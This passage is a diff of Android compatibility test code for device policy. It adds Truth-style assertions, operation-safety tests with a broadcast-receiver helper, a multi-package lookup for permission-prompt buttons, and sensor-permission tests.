         result.putExtra("extra_in_managed_profile", inManagedProfile);
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.bp b/hostsidetests/devicepolicy/app/IntentSender/Android.bp
index 4063eb1..9948be7 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/Android.bp
+++ b/hostsidetests/devicepolicy/app/IntentSender/Android.bp
@@ -24,6 +24,7 @@
         "ctstestrunner-axt",
         "ub-uiautomator",
         "androidx.legacy_legacy-support-v4",
+        "truth-prebuilt",
     ],
     platform_apis: true,
     // tag this module as a cts test artifact
diff --git a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
index eef1577..23860f3 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
+++ b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
@@ -16,12 +16,17 @@
 
 package com.android.cts.intent.sender;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.net.Uri;
 import android.test.InstrumentationTestCase;
 
+import java.util.List;
+
 public class AppLinkTest extends InstrumentationTestCase {
 
     private static final String TAG = "AppLinkTest";
@@ -75,19 +80,25 @@
             throws Exception {
         PackageManager pm = mContext.getPackageManager();
 
-        Intent result = mActivity.getResult(getHttpIntent());
-        assertNotNull(result);
+        Intent intent = getHttpIntent();
+        Intent result = mActivity.getResult(intent);
+        assertWithMessage("result for intent %s", intent).that(result).isNotNull();
 
         // If it is received in the other profile, we cannot check the class from the ResolveInfo
         // returned by queryIntentActivities. So we rely on the receiver telling us its class.
-        assertEquals(receiverClassName, result.getStringExtra(EXTRA_RECEIVER_CLASS));
-        assertTrue(result.hasExtra(EXTRA_IN_MANAGED_PROFILE));
-        assertEquals(inManagedProfile, result.getBooleanExtra(EXTRA_IN_MANAGED_PROFILE, false));
+        assertWithMessage("extra %s on intent %s", EXTRA_RECEIVER_CLASS, result)
+                .that(result.getStringExtra(EXTRA_RECEIVER_CLASS)).isEqualTo(receiverClassName);
+        assertWithMessage("has extra %s on intent %s", EXTRA_IN_MANAGED_PROFILE, result)
+                .that(result.hasExtra(EXTRA_IN_MANAGED_PROFILE)).isTrue();
+        assertWithMessage("extra %s on intent %s", EXTRA_IN_MANAGED_PROFILE, result)
+                .that(result.getBooleanExtra(EXTRA_IN_MANAGED_PROFILE, false))
+                .isEqualTo(inManagedProfile);
     }
 
     private void assertNumberOfReceivers(int n) {
         PackageManager pm = mContext.getPackageManager();
-        assertEquals(n, pm.queryIntentActivities(getHttpIntent(), /* flags = */ 0).size());
+        List<ResolveInfo> receivers = pm.queryIntentActivities(getHttpIntent(), /* flags = */ 0);
+        assertWithMessage("receivers").that(receivers).hasSize(n);
     }
 
     private Intent getHttpIntent() {
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
index 8492fcc..dddf76c 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -15,6 +15,8 @@
  */
 package com.android.cts.profileowner;
 
+import android.app.admin.DevicePolicyManager;
+
 import com.android.cts.devicepolicy.DevicePolicySafetyCheckerIntegrationTester;
 
 // TODO(b/174859111): move to automotive-only section
@@ -33,4 +35,25 @@
     public void testAllOperations() {
         mTester.testAllOperations(mDevicePolicyManager, getWho());
     }
+
+    /**
+     * Tests {@link DevicePolicyManager#isSafeOperation(int)}.
+     */
+    public void testIsSafeOperation() {
+        mTester.testIsSafeOperation(mDevicePolicyManager);
+    }
+
+    /**
+     * Tests {@link android.app.admin.UnsafeStateException} properties.
+     */
+    public void testUnsafeStateException() {
+        mTester.testUnsafeStateException(mDevicePolicyManager, getWho());
+    }
+
+    /**
+     * Tests {@link android.app.admin.DeviceAdminReceiver#onOperationSafetyStateChanged()}.
+     */
+    public void testOnOperationSafetyStateChanged() {
+        mTester.testOnOperationSafetyStateChanged(mContext, mDevicePolicyManager);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/common/Android.bp b/hostsidetests/devicepolicy/app/common/Android.bp
index 95cadf6..68aa228 100644
--- a/hostsidetests/devicepolicy/app/common/Android.bp
+++ b/hostsidetests/devicepolicy/app/common/Android.bp
@@ -24,5 +24,7 @@
             "ctstestrunner-axt",
             "androidx.test.rules",
             "ub-uiautomator",
-            ],
+            "testng", // TODO: remove once Android migrates to JUnit 4.13, which has assertThrows
+            "DpmWrapper",
+    ],
 }
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
index fd841ca..1dbac7d 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
@@ -29,11 +29,16 @@
 import static android.app.admin.DevicePolicyManager.operationSafetyReasonToString;
 import static android.app.admin.DevicePolicyManager.operationToString;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import static org.junit.Assert.fail;
+import static org.testng.Assert.assertThrows;
+import static org.testng.Assert.expectThrows;
 
 import android.app.admin.DevicePolicyManager;
 import android.app.admin.UnsafeStateException;
 import android.content.ComponentName;
+import android.content.Context;
 import android.os.UserManager;
 import android.util.Log;
 
@@ -75,6 +80,7 @@
      * Tests that all safety-aware operations are properly implemented.
      */
     public final void testAllOperations(DevicePolicyManager dpm, ComponentName admin) {
+        Log.d(TAG, "testAllOperations: dpm=" + dpm + ", admin=" + admin);
         Objects.requireNonNull(dpm);
 
         List<String> failures = new ArrayList<>();
@@ -100,6 +106,88 @@
     }
 
     /**
+     * Tests {@link DevicePolicyManager#isSafeOperation(int)}.
+     */
+    public void testIsSafeOperation(DevicePolicyManager dpm) {
+        // Currently there's just one reason...
+        int reason = OPERATION_SAFETY_REASON_DRIVING_DISTRACTION;
+        Log.d(TAG, "testIsSafeOperation(): dpm=" + dpm + ", reason="
+                + operationSafetyReasonToString(reason));
+        Objects.requireNonNull(dpm);
+        assertOperationSafety(dpm, reason, /* isSafe= */ true);
+
+        setOperationUnsafe(dpm, OPERATION_LOCK_NOW, reason);
+
+        assertOperationSafety(dpm, reason, /* isSafe= */ false);
+    }
+
+    private void assertOperationSafety(DevicePolicyManager dpm, int reason, boolean isSafe) {
+        assertWithMessage("%s safety", operationSafetyReasonToString(reason))
+                .that(dpm.isSafeOperation(reason)).isEqualTo(isSafe);
+    }
+
+    /**
+     * Tests {@link UnsafeStateException} properties.
+     */
+    public void testUnsafeStateException(DevicePolicyManager dpm, ComponentName admin) {
+        // Currently there's just one reason...
+        int reason = OPERATION_SAFETY_REASON_DRIVING_DISTRACTION;
+        // Operation doesn't really matter
+        int operation = OPERATION_LOCK_NOW;
+        Log.d(TAG, "testUnsafeStateException(): dpm=" + dpm + ", admin=" + admin
+                + ", reason=" + operationSafetyReasonToString(reason)
+                + ", operation=" + operationToString(operation));
+
+        setOperationUnsafe(dpm, operation, reason);
+        UnsafeStateException e = expectThrows(UnsafeStateException.class,
+                () -> runCommonOrSpecificOperation(dpm, admin, operation, /* overloaded= */ false));
+
+        int actualOperation = e.getOperation();
+        assertWithMessage("operation (%s)", operationToString(actualOperation))
+                .that(actualOperation).isEqualTo(operation);
+        List<Integer> actualReasons = e.getReasons();
+        assertWithMessage("reasons").that(actualReasons).hasSize(1);
+        int actualReason = actualReasons.get(0);
+        assertWithMessage("reason (%s)", operationSafetyReasonToString(actualReason))
+                .that(actualReason).isEqualTo(reason);
+    }
+
+    /**
+     * Tests {@link android.app.admin.DeviceAdminReceiver#onOperationSafetyStateChanged()}.
+     */
+    public void testOnOperationSafetyStateChanged(Context context, DevicePolicyManager dpm) {
+        // Currently there's just one reason...
+        int reason = OPERATION_SAFETY_REASON_DRIVING_DISTRACTION;
+        // Operation doesn't really matter
+        int operation = OPERATION_LOCK_NOW;
+        Log.d(TAG, "testOnOperationSafetyStateChanged(): dpm=" + dpm
+                + ", reason=" + operationSafetyReasonToString(reason)
+                + ", operation=" + operationToString(operation));
+        OperationSafetyChangedCallback receiver = OperationSafetyChangedCallback.register(context);
+        try {
+            setOperationUnsafe(dpm, operation, reason);
+            // Must force OneTimeSafetyChecker to generate the event by calling the unsafe operation
+            assertThrows(UnsafeStateException.class, () -> dpm.lockNow());
+
+            assertNextEvent(receiver, reason, /* isSafe= */ false);
+
+            // OneTimeSafetyChecker automatically disables itself after one operation, which in turn
+            // triggers another event
+            assertNextEvent(receiver, reason, /* isSafe= */ true);
+        } finally {
+            receiver.unregister(context);
+        }
+    }
+
+    private void assertNextEvent(OperationSafetyChangedCallback receiver,
+            int reason, boolean isSafe) {
+        OperationSafetyChangedEvent event = receiver.getNextEvent();
+        Log.v(TAG, "Received event: " + event);
+        assertWithMessage("event (%s) reason", event).that(event.reason).isEqualTo(reason);
+        assertWithMessage("event (%s) safety state", event).that(event.isSafe).isEqualTo(isSafe);
+    }
+
+    /**
      * Gets the device / profile owner-specific operations.
      *
      * <p>By default it returns an empty array, but sub-classes can override to add its supported
@@ -150,35 +238,13 @@
         // Currently there's just one reason...
         int reason = OPERATION_SAFETY_REASON_DRIVING_DISTRACTION;
 
-        if (!dpm.isSafeOperation(reason)) {
-            failures.add("Operation " + name + " should be safe");
-            return;
-        }
         try {
             setOperationUnsafe(dpm, operation, reason);
-            if (dpm.isSafeOperation(reason)) {
-                failures.add("Operation " + name + " should be unsafe");
-                return;
-            }
             runCommonOrSpecificOperation(dpm, admin, operation, overloaded);
             Log.e(TAG, name + " didn't throw an UnsafeStateException");
             failures.add(name);
         } catch (UnsafeStateException e) {
             Log.d(TAG, name + " failed as expected: " + e);
-            List<Integer> actualReasons = e.getReasons();
-            if (actualReasons.size() != 1) {
-                failures.add(String.format("received invalid number of reasons (%s); expected just "
-                        + "1 (%d - %s)", actualReasons, reason,
-                        operationSafetyReasonToString(reason)));
-
-            } else {
-                int actualReason = actualReasons.get(0);
-                if (actualReason != reason) {
-                    failures.add(String.format("received exception with reason %s instead of %s",
-                            operationSafetyReasonToString(actualReason),
-                            operationSafetyReasonToString(reason)));
-                }
-            }
         } catch (Exception e) {
             Log.e(TAG, name + " threw unexpected exception", e);
             failures.add(name + "(" + e + ")");
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/OperationSafetyChangedCallback.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/OperationSafetyChangedCallback.java
new file mode 100644
index 0000000..fd2f2ab
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/OperationSafetyChangedCallback.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.util.Log;
+
+import com.android.bedstead.dpmwrapper.TestAppHelper;
+
+import junit.framework.AssertionFailedError;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+//TODO(b/174859111): move to automotive-only section
+/**
+ * Helper class used by test apps to get the safety event received by the device owner's
+ * {@link android.app.admin.DeviceAdminReceiver}.
+ */
+public final class OperationSafetyChangedCallback {
+
+    private static final String TAG = OperationSafetyChangedCallback.class.getSimpleName();
+
+    private static final String ACTION_STATE_CHANGED = "operation_safety_state_changed";
+    private static final String EXTRA_REASON = "reason";
+    private static final String EXTRA_IS_SAFE = "is_safe";
+
+    private static final long TIMEOUT_MS = 50_000;
+
+    private final LinkedBlockingQueue<OperationSafetyChangedEvent> mEvents =
+            new LinkedBlockingQueue<>();
+
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            if (!ACTION_STATE_CHANGED.equals(action)) {
+                Log.e(TAG, "Invalid action " + action + " on intent " + intent);
+                return;
+            }
+            if (!intent.hasExtra(EXTRA_REASON)) {
+                Log.e(TAG, "No " + EXTRA_REASON + " extra on intent " + intent);
+                return;
+            }
+            if (!intent.hasExtra(EXTRA_IS_SAFE)) {
+                Log.e(TAG, "No " + EXTRA_IS_SAFE + " extra on intent " + intent);
+                return;
+            }
+            OperationSafetyChangedEvent event = new OperationSafetyChangedEvent(
+                    intent.getIntExtra(EXTRA_REASON, 42),
+                    intent.getBooleanExtra(EXTRA_IS_SAFE, false));
+            Log.d(TAG, "Received intent with event " + event + " on user " + context.getUserId());
+            mEvents.offer(event);
+        }
+    };
+
+    private OperationSafetyChangedCallback() {}
+
+    /**
+     * Creates and registers a callback in the given context.
+     */
+    public static OperationSafetyChangedCallback register(Context context) {
+        Log.d(TAG, "Registering " + ACTION_STATE_CHANGED + " on user " + context.getUserId());
+        OperationSafetyChangedCallback callback = new OperationSafetyChangedCallback();
+        TestAppHelper.registerTestCaseReceiver(context, callback.mReceiver,
+                new IntentFilter(ACTION_STATE_CHANGED));
+        return callback;
+    }
+
+    /**
+     * Unregister this callback in the given context.
+     */
+    public void unregister(Context context) {
+        Log.d(TAG, "Unregistering " + mReceiver + " on user " + context.getUserId());
+        TestAppHelper.unregisterTestCaseReceiver(context, mReceiver);
+    }
+
+    /**
+     * Gets the intent for the given event.
+     */
+    public static Intent intentFor(OperationSafetyChangedEvent event) {
+        return new Intent(ACTION_STATE_CHANGED)
+                .putExtra(EXTRA_REASON, event.reason)
+                .putExtra(EXTRA_IS_SAFE, event.isSafe);
+    }
+
+    /**
+     * Gets next event or fail.
+     */
+    public OperationSafetyChangedEvent getNextEvent() {
+        OperationSafetyChangedEvent event = null;
+        try {
+            event = mEvents.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            String msg = "interrupted waiting for event";
+            Log.e(TAG, msg, e);
+            Thread.currentThread().interrupt();
+            throw new AssertionFailedError(msg);
+        }
+        if (event == null) {
+            String msg = "didn't receive an OperationSafetyChangedEvent in "
+                    + TIMEOUT_MS + "ms on " + this;
+            Log.e(TAG, msg);
+            throw new AssertionFailedError(msg);
+        }
+        return event;
+    }
+
+    @Override
+    public String toString() {
+        return "OperationSafetyChangedCallback[events=" + mEvents + "]";
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/OperationSafetyChangedEvent.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/OperationSafetyChangedEvent.java
new file mode 100644
index 0000000..c61e732
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/OperationSafetyChangedEvent.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy;
+
+import android.app.admin.DevicePolicyManager;
+
+//TODO(b/174859111): move to automotive-only section
+/**
+ * Represents an operation safety event received by a
+ * {@link android.app.admin.DeviceAdminReceiver#onOperationSafetyStateChanged(
+ * android.content.Context, int, boolean)}.
+ *
+ * <p>NOTE: doesn't implement {@code Parcelable} because it needs to cross process boundaries on
+ * automotive, which trows a {@code ClassNotFoundException} in the receiving end - it't not worth
+ * to fix that...
+ */
+public final class OperationSafetyChangedEvent {
+
+    public final int reason;
+    public final boolean isSafe;
+
+    public OperationSafetyChangedEvent(int reason, boolean isSafe) {
+        this.reason = reason;
+        this.isSafe = isSafe;
+    }
+
+    @Override
+    public String toString() {
+        return "OperationSafetyChangedEvent["
+            + DevicePolicyManager.operationSafetyReasonToString(reason) + ": "
+            + (isSafe ? "SAFE" : "UNSAFE") + ']';
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
index 044e356..06ed3ab 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
@@ -19,10 +19,11 @@
 import static android.content.pm.PackageManager.PERMISSION_DENIED;
 import static android.content.pm.PackageManager.PERMISSION_GRANTED;
 
-import static junit.framework.TestCase.assertNotNull;
+import static junit.framework.Assert.assertTrue;
 
 import static org.junit.Assert.assertEquals;
 
+import android.Manifest;
 import android.app.AppOpsManager;
 import android.content.ComponentName;
 import android.content.Context;
@@ -33,10 +34,24 @@
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.Until;
+import android.util.Log;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
 public class PermissionUtils {
+    private static final String LOG_TAG = PermissionUtils.class.getName();
+    private static final Set<String> LOCATION_PERMISSIONS = new HashSet<String>();
+
+    static {
+        LOCATION_PERMISSIONS.add(Manifest.permission.ACCESS_FINE_LOCATION);
+        LOCATION_PERMISSIONS.add(Manifest.permission.ACCESS_BACKGROUND_LOCATION);
+        LOCATION_PERMISSIONS.add(Manifest.permission.ACCESS_COARSE_LOCATION);
+    }
 
     private static final String ACTION_CHECK_HAS_PERMISSION
             = "com.android.cts.permission.action.CHECK_HAS_PERMISSION";
@@ -63,20 +78,25 @@
     public static void launchActivityAndRequestPermission(PermissionBroadcastReceiver
             receiver, UiDevice device, String permission, int expected,
             String packageName, String activityName) throws Exception {
-        final String resName;
+        final List<String> resNames = new ArrayList<>();
         switch(expected) {
             case PERMISSION_DENIED:
-                resName = "permission_deny_button";
+                resNames.add("permission_deny_button");
                 break;
             case PERMISSION_GRANTED:
-                resName = "permission_allow_button";
+                resNames.add("permission_allow_button");
+                // For the location permission, different buttons may be available.
+                if (LOCATION_PERMISSIONS.contains(permission)) {
+                    resNames.add("permission_allow_foreground_only_button");
+                    resNames.add("permission_allow_one_time_button");
+                }
                 break;
             default:
                 throw new IllegalArgumentException("Invalid expected permission");
         }
         launchActivityWithAction(permission, ACTION_REQUEST_PERMISSION,
                 packageName, activityName);
-        pressPermissionPromptButton(device, resName);
+        pressPermissionPromptButton(device, resNames.toArray(new String[0]));
         assertEquals(expected, receiver.waitForBroadcast());
     }
 
@@ -126,17 +146,39 @@
         return InstrumentationRegistry.getInstrumentation().getContext();
     }
 
-    private static void pressPermissionPromptButton(UiDevice mDevice, String resName) {
-        if (resName == null) {
-            throw new IllegalArgumentException("resName must not be null");
+    private static void pressPermissionPromptButton(UiDevice mDevice, String[] resNames) {
+        if ((resNames == null) || (resNames.length == 0)) {
+            throw new IllegalArgumentException("resNames must not be null or empty");
         }
 
-        BySelector selector = By
-                .clazz(android.widget.Button.class.getName())
-                .res("com.android.packageinstaller", resName);
-        mDevice.wait(Until.hasObject(selector), 5000);
-        UiObject2 button = mDevice.findObject(selector);
-        assertNotNull("Couldn't find button with resource id: " + resName, button);
-        button.click();
+        // The dialog was moved from the packageinstaller to the permissioncontroller.
+        // Search in multiple packages so the test is not affixed to a particular package.
+        String[] possiblePackages = new String[]{
+                "com.android.permissioncontroller.permission.ui",
+                "com.android.packageinstaller",
+                "com.android.permissioncontroller"};
+
+        boolean foundButton = false;
+        for (String resName : resNames) {
+            for (String possiblePkg : possiblePackages) {
+                BySelector selector = By
+                        .clazz(android.widget.Button.class.getName())
+                        .res(possiblePkg, resName);
+                mDevice.wait(Until.hasObject(selector), 5000);
+                UiObject2 button = mDevice.findObject(selector);
+                Log.d(LOG_TAG, String.format("Resource %s in Package %s found? %b", resName,
+                        possiblePkg, button != null));
+                if (button != null) {
+                    foundButton = true;
+                    button.click();
+                    break;
+                }
+            }
+            if (foundButton) {
+                break;
+            }
+        }
+
+        assertTrue("Couldn't find any button", foundButton);
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
index 8531f98..ce1bd24 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
@@ -83,9 +83,6 @@
         }
     }
 
-    // TODO(b/174158829): failing, will need to fix DPMS (it should only allow DO to be set when
-    // there is 2 users: system user and current user
-    @TemporaryIgnoreOnHeadlessSystemUserMode
     @Test
     public void testCannotSetDeviceOwnerWhenSecondaryUserPresent() throws Exception {
         assumeSupportsMultiUser();
@@ -102,32 +99,26 @@
         }
     }
 
-    // TODO(b/174158829): this test is currently passing on headless system mode (even without
-    // fixing the user id), but it might need to be disabled for that mode, as the headless system
-    // user cannot have accounts anyways
+    // TODO(b/174158829): this test is currently failing on headless system mode
     @TemporaryIgnoreOnHeadlessSystemUserMode
     @FlakyTest
     @Test
     public void testCannotSetDeviceOwnerWhenAccountPresent() throws Exception {
         installAppAsUser(ACCOUNT_MANAGEMENT_APK, mPrimaryUserId);
-        installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
+        installAppAsUser(DEVICE_OWNER_APK, mDeviceOwnerUserId);
         try {
             runDeviceTestsAsUser(ACCOUNT_MANAGEMENT_PKG, ".AccountUtilsTest",
                     "testAddAccountExplicitly", mPrimaryUserId);
-            assertFalse(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId,
+            assertFalse(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mDeviceOwnerUserId,
                     /*expectFailure*/ true));
         } finally {
             // make sure we clean up in case we succeeded in setting the device owner
-            removeAdmin(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId);
+            removeAdmin(DEVICE_OWNER_ADMIN_COMPONENT, mDeviceOwnerUserId);
             runDeviceTestsAsUser(ACCOUNT_MANAGEMENT_PKG, ".AccountUtilsTest",
                     "testRemoveAccountExplicitly", mPrimaryUserId);
         }
     }
 
-    // TODO(b/174158829): failing, most likely due to an issue on DPMS itself:
-    //E DevicePolicyManager: In headless system user mode, device owner can only be set on headless
-    //system user.
-    @TemporaryIgnoreOnHeadlessSystemUserMode
     @Test
     public void testIsProvisioningAllowed() throws Exception {
         // Must install the apk since the test runs in the DO apk.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 874d195..a5b19c2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -430,6 +430,24 @@
                 ".PermissionsTest", "testPermissionGrantState_developmentPermission");
     }
 
+    @Test
+    public void testGrantOfSensorsRelatedPermissions() throws Exception {
+        installAppPermissionAppAsUser();
+        executeDeviceTestMethod(".PermissionsTest", "testSensorsRelatedPermissionsCannotBeGranted");
+    }
+
+    @Test public void testDenyOfSensorsRelatedPermissions() throws Exception {
+        installAppPermissionAppAsUser();
+        executeDeviceTestMethod(".PermissionsTest", "testSensorsRelatedPermissionsCanBeDenied");
+    }
+
+    @Test
+    public void testSensorsRelatedPermissionsNotGrantedViaPolicy() throws Exception {
+        installAppPermissionAppAsUser();
+        executeDeviceTestMethod(".PermissionsTest",
+                "testSensorsRelatedPermissionsNotGrantedViaPolicy");
+    }
+
     /**
      * Require a device for tests that use the network stack. Headless Androids running in
      * data centres might need their network rules un-tampered-with in order to keep the ADB / VNC
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 54d90fe..3f93c43 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -22,6 +22,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.platform.test.annotations.FlakyTest;
 import android.platform.test.annotations.LargeTest;
@@ -135,8 +136,7 @@
                     String.valueOf(Long.MAX_VALUE));
 
             // The next createAndManageUser should return USER_OPERATION_ERROR_LOW_STORAGE.
-            executeDeviceTestMethod(".CreateAndManageUserTest",
-                    "testCreateAndManageUser_LowStorage");
+            executeCreateAndManageUserTest("testCreateAndManageUser_LowStorage");
         } finally {
             getDevice().executeShellCommand(
                     "settings delete global sys_storage_threshold_percentage");
@@ -152,12 +152,10 @@
         int maxUsers = getDevice().getMaxNumberOfUsersSupported();
         // Primary user is already there, so we can create up to maxUsers -1.
         for (int i = 0; i < maxUsers - 1; i++) {
-            executeDeviceTestMethod(".CreateAndManageUserTest",
-                    "testCreateAndManageUser");
+            executeCreateAndManageUserTest("testCreateAndManageUser");
         }
         // The next createAndManageUser should return USER_OPERATION_ERROR_MAX_USERS.
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_MaxUsers");
+        executeCreateAndManageUserTest("testCreateAndManageUser_MaxUsers");
     }
 
     /**
@@ -168,8 +166,7 @@
     public void testCreateAndManageUser_GetSecondaryUsers() throws Exception {
         assumeCanCreateOneManagedUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_GetSecondaryUsers");
+        executeCreateAndManageUserTest("testCreateAndManageUser_GetSecondaryUsers");
     }
 
     /**
@@ -182,8 +179,7 @@
     public void testCreateAndManageUser_SwitchUser() throws Exception {
         assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_SwitchUser");
+        executeCreateAndManageUserTest("testCreateAndManageUser_SwitchUser");
     }
 
     /**
@@ -195,8 +191,7 @@
     public void testCreateAndManageUser_CannotStopCurrentUser() throws Exception {
         assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_CannotStopCurrentUser");
+        executeCreateAndManageUserTest("testCreateAndManageUser_CannotStopCurrentUser");
     }
 
     /**
@@ -208,8 +203,7 @@
     public void testCreateAndManageUser_StartInBackground() throws Exception {
         assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_StartInBackground");
+        executeCreateAndManageUserTest("testCreateAndManageUser_StartInBackground");
     }
 
     /**
@@ -227,17 +221,16 @@
         // Primary user is already running, so we can create and start up to minimum of above - 1.
         int usersToCreateAndStart = Math.min(maxUsers, maxRunningUsers) - 1;
         for (int i = 0; i < usersToCreateAndStart; i++) {
-            executeDeviceTestMethod(".CreateAndManageUserTest",
-                    "testCreateAndManageUser_StartInBackground");
+            executeCreateAndManageUserTest("testCreateAndManageUser_StartInBackground");
         }
 
         if (maxUsers > maxRunningUsers) {
             // The next startUserInBackground should return USER_OPERATION_ERROR_MAX_RUNNING_USERS.
-            executeDeviceTestMethod(".CreateAndManageUserTest",
+            executeCreateAndManageUserTest(
                     "testCreateAndManageUser_StartInBackground_MaxRunningUsers");
         } else {
             // The next createAndManageUser should return USER_OPERATION_ERROR_MAX_USERS.
-            executeDeviceTestMethod(".CreateAndManageUserTest", "testCreateAndManageUser_MaxUsers");
+            executeCreateAndManageUserTest("testCreateAndManageUser_MaxUsers");
         }
     }
 
@@ -250,8 +243,7 @@
     public void testCreateAndManageUser_StopUser() throws Exception {
         assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_StopUser");
+        executeCreateAndManageUserTest("testCreateAndManageUser_StopUser");
         assertNewUserStopped();
     }
 
@@ -264,7 +256,7 @@
     public void testCreateAndManageUser_StopEphemeralUser_DisallowRemoveUser() throws Exception {
         assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
+        executeCreateAndManageUserTest(
                 "testCreateAndManageUser_StopEphemeralUser_DisallowRemoveUser");
         assertEquals(0, getUsersCreatedByTests().size());
     }
@@ -278,8 +270,7 @@
